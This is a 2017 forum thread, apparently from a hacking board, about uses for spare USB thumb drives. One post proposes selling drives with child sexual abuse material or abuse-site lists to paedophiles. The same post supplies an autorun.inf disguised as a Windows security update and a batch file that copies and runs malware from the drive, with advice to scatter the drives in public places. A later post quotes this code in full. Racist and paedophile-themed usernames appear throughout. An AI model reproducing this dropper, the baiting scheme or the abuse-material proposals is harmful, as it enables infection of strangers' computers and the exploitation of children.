i have a zillion extra thumbdrives

1. 2017-03-04 at 1:24 AM UTC

   #1
   cerakote African Astronaut
   what nefarious or useful applications do zipdrives have besides portable porn storage
   
   blease resbond :DD
2. 2017-03-04 at 1:36 AM UTC

   #2
   The Self Taught Man Black Hole
   TAILS
3. 2017-03-04 at 2:06 AM UTC

   #3
   

   Sophie Pedophile Tech Support
   This. https://opensource.srlabs.de/projects/badusb
   
   Also bootkits. And you could pop TAILs on them and sell them to pedos with a list of deepweb CP sites for a pedo starter kit. You could also download a bunch of CP to them and encrypt it. Then sell them to pedos for the PREMIUM PEDO DEAL, you email them the password(Use PGP[Rotate keys often]).
   
   Or just go over to my github, grab a copy of whatever dastardly malwares i got cooking at the moment, compile that puppy and put it on a flashdrive. And here comes the fun part. Letsd make an autorun for it i will do it RIGHT HERE, are you ready?
   
   1. Save this as autorun.inf
   

   
   [autorun]
   icon=drive.ico
   open=launch.bat
   action=Click Ok to Run Security Update for Windows
   shell\open\command=launch.bat
   

   
   
   2. Save this as launch.bat
   

   
   ECHO off
   SET odrive=%odrive:~0,2%
   copy "%drive%\malware\*.*" “%userprofile%\appdata\local”
   cd %userprofile%\appdata\local
   malware.exe
   cls 
   exit
   

   
   
   Save your malware on the thumbdrive under a directory called malware.
   
   Sprinkle these around where people congregate. If i made any error in my batch file, someone come along and correct me i am a little rusty on my Windows Shell shenanigans.
4. 2017-03-04 at 5:48 AM UTC

   #4
   

   SBTlauien African Astronaut

   Originally posted by Sophie Or just go over to my github, grab a copy of whatever dastardly malwares i got cooking at the moment, compile that puppy and put it on a flashdrive. And here comes the fun part. Letsd make an autorun for it i will do it RIGHT HERE, are you ready?
   
   1. Save this as autorun.inf
   

   
   [autorun]
   icon=drive.ico
   open=launch.bat
   action=Click Ok to Run Security Update for Windows
   shell\open\command=launch.bat
   

   
   
   2. Save this as launch.bat
   

   
   ECHO off
   SET odrive=%odrive:~0,2%
   copy "%drive%\malware\*.*" “%userprofile%\appdata\local”
   cd %userprofile%\appdata\local
   malware.exe
   cls 
   exit
   

   
   
   Save your malware on the thumbdrive under a directory called malware.
   
   Sprinkle these around where people congregate. If i made any error in my batch file, someone come along and correct me i am a little rusty on my Windows Shell shenanigans.

   
   What if they run Linux or Mac OS?
5. 2017-03-04 at 11:45 AM UTC

   #5
   

   Sophie Pedophile Tech Support

   Originally posted by SBTlauien What if they run Linux or Mac OS?

   Then we are shit out of luck, because to run something automatically from USB on Linux it needs to 1. Have Linux native file system 2. Have a shell script with executable permissions.
   
   Or we need to pretend we are a keyboard or similar. Which is how the malicious USB thumbdrives you can buy work.